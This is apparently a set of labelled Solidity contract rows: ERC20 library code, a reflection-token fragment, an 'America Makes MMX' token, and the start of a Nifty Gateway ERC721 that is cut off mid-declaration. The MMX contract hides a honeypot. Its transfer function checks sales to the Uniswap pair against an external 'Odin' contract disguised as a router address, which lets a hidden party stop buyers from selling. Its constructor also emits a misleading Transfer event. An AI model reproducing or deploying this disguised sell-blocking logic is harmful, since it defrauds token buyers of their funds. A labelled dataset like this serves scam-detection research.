_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(11);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity 0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract BurnERC20 is ERC20 {
constructor(
string memory name,
string memory symbol,
uint256 supply
) public ERC20(name, symbol) {
}
}
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|
//SPDX-License-Identifier: MIT
// Telegram: http://americamakes.us/mmx
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet
uint256 constant TOTAL_SUPPLY=100000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="America Makes MMX";
string constant TOKEN_SYMBOL="MMX";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MMX is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
// File: contracts/interface/IERC165.sol
/**
* @title IERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: contracts/interface/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: contracts/interface/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: contracts/interface/IERC721Metadata.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/util/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// File: contracts/util/Strings.sol
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
// File: contracts/standard/ERC165.sol
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: contracts/core/NiftyEntity.sol
/**
* @dev Authenticator of state mutating operations for Nifty Gateway contracts.
*
* addresses for stateful operations.
*
* Rinkeby: 0xCefBf44ff649B6E0Bc63785699c6F1690b8cF73b
* Mainnet: 0x6e53130dDfF21E3BC963Ee902005223b9A202106
*/
contract NiftyEntity {
// Address of {NiftyRegistry} contract.
address internal immutable _niftyRegistryContract;
/**
* @dev Determines whether accounts are allowed to invoke state mutating operations on child contracts.
*/
modifier onlyValidSender() {
NiftyRegistry niftyRegistry = NiftyRegistry(_niftyRegistryContract);
bool isValid = niftyRegistry.isValidNiftySender(msg.sender);
require(isValid, "NiftyEntity: Invalid msg.sender");
_;
}
/**
* @dev Points to the repository of authenticated addresses.
*/
constructor() {
_niftyRegistryContract = 0x6e53130dDfF21E3BC963Ee902005223b9A202106; //Mainnet
}
}
/**
* @dev Defined to mediate interaction with externally deployed {NiftyRegistry} dependency.
*/
interface NiftyRegistry {
function isValidNiftySender(address sending_key) external view returns (bool);
}
// File: contracts/core/ERC721.sol
/**
* @dev Nifty Gateway implementation of Non-Fungible Token Standard.
*/
contract ERC721 is NiftyEntity, Context, ERC165, IERC721, IERC721Metadata {
// Tracked individual instance spawned by {BuilderShop} contract.
uint immutable public _id;
// Number of distinct NFTs housed in this contract.
uint immutable public _typeCount;
// Intial receiver of all newly minted NFTs.
address immutable public _defaultOwner;
// Component(s) of 'tokenId' calculation.
uint immutable internal topLevelMultiplier;
uint immutable internal midLevelMultiplier;
// Token name.
string private _name;
// Token symbol.
string private _symbol;
// Token artifact location.
string private _baseURI;
// Mapping from Nifty type to name of token.
mapping(uint256 => string) private _niftyTypeName;
// Mapping from Nifty type to IPFS hash of canonical artifcat file.
